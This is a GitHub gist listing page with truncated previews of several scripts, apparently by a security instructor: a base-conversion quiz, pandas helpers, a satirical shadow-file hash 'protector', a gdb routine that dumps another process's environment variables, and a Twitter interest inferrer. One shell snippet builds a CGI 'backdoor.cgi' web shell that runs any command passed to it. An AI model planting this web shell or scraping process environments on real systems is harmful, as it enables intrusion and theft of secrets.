This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import random | |
#This program will present you with challenges to convert numbers between bases and perform logical operations. | |
#This program goes along with the following youtube video. https://youtu.be/qLtCuSTKk4g | |
# Helper function to create conversion functions for different number bases. | |
def make_conversion_function(choose_from, prompt_text, input_conversion): | |
def convert_function(): | |
the_number = random.choice(choose_from) | |
answer = input(eval(prompt_text)) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import numpy as np | |
import pandas as pd | |
def objective_to_day(ct): | |
ct = ct[10:] | |
return int(ct.split(".")[0]) | |
def objective_to_question(ct): | |
ct = ct[10:] | |
return int(ct.split(".")[1]) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
import subprocess | |
import webbrowser | |
import time | |
import urllib.request | |
import tempfile | |
import zipfile | |
import pathlib | |
from io import BytesIO |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
import subprocess | |
import webbrowser | |
import time | |
import urllib.request | |
import tempfile | |
import zipfile | |
import pathlib | |
from io import BytesIO |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#Liam Neeson is the single most protection that any organization can take to protect their Linux passwords hashes. | |
#Once Liam Neeson is protecting your shadow file all your hashes are invisible to terrorist tools like cat, less and others that process bash escape sequences | |
#Are you seriously thinking about using this in production? Back up your files and test it first. | |
#Author @MarkBaggett | |
import re | |
import argparse | |
import os | |
import sys |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
import os | |
import pprint | |
import pathlib | |
import subprocess | |
import logging | |
import re | |
def get_local_envvars_pid(process_id): | |
gdb_script = "set variable $envs = (char **) environ\nset $i = 0\nwhile ($envs[$i] != 0)\nprint $envs[$i++]\nend\nquit\n" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def get_local_envvars_pid(process_id): | |
gdb_script = "set variable $envs = (char **) environ\nset $i = 0\nwhile ($envs[$i] != 0)\nprint $envs[$i++]\nend\nquit\n" | |
pathlib.Path("/tmp/getenv.gdb").write_text(gdb_script) | |
gdb_command = f"gdb -batch -x /tmp/getenv.gdb -p {process_id}" | |
ph = subprocess.Popen(gdb_command.split(),stdout=subprocess.PIPE, stderr=subprocess.PIPE) | |
out,err = ph.communicate() | |
log.debug(f"gdb environment variable output {out} errors {err}") | |
try: | |
found_items = re.findall(r'\$\d+\s+=\s+[0-9a-fx]+\s+"(\S+)=(.+)"\n', out.decode()) | |
except: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
cd /tmp | |
mkdir cgi-bin | |
echo '#!/bin/bash' > ./cgi-bin/backdoor.cgi | |
echo 'echo -e "Content-Type: text/plain\n\n"' >> ./cgi-bin/backdoor.cgi | |
echo 'echo -e $($1)' >> ./cgi-bin/backdoor.cgi | |
chmod +x ./cgi-bin/backdoor.cgi | |
python -m http.server --cgi | |
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
"""Twit Interest will infer a persons interests based upon the most common words in the descriptions of those they follow""" | |
from twython import Twython | |
from collections import Counter | |
import sys | |
#Twython isn't a standard module. "python -m pip install twython" to install it. If no pip run this https://bootstrap.pypa.io/get-pip.py | |
twit = Twython(<your twitter APP KEY HERE> , < Your twitter Secret key here >) | |
#Need a key? Go https://apps.twitter.com/app/new Create app. Put anything you want for the values in the app. |
NewerOlder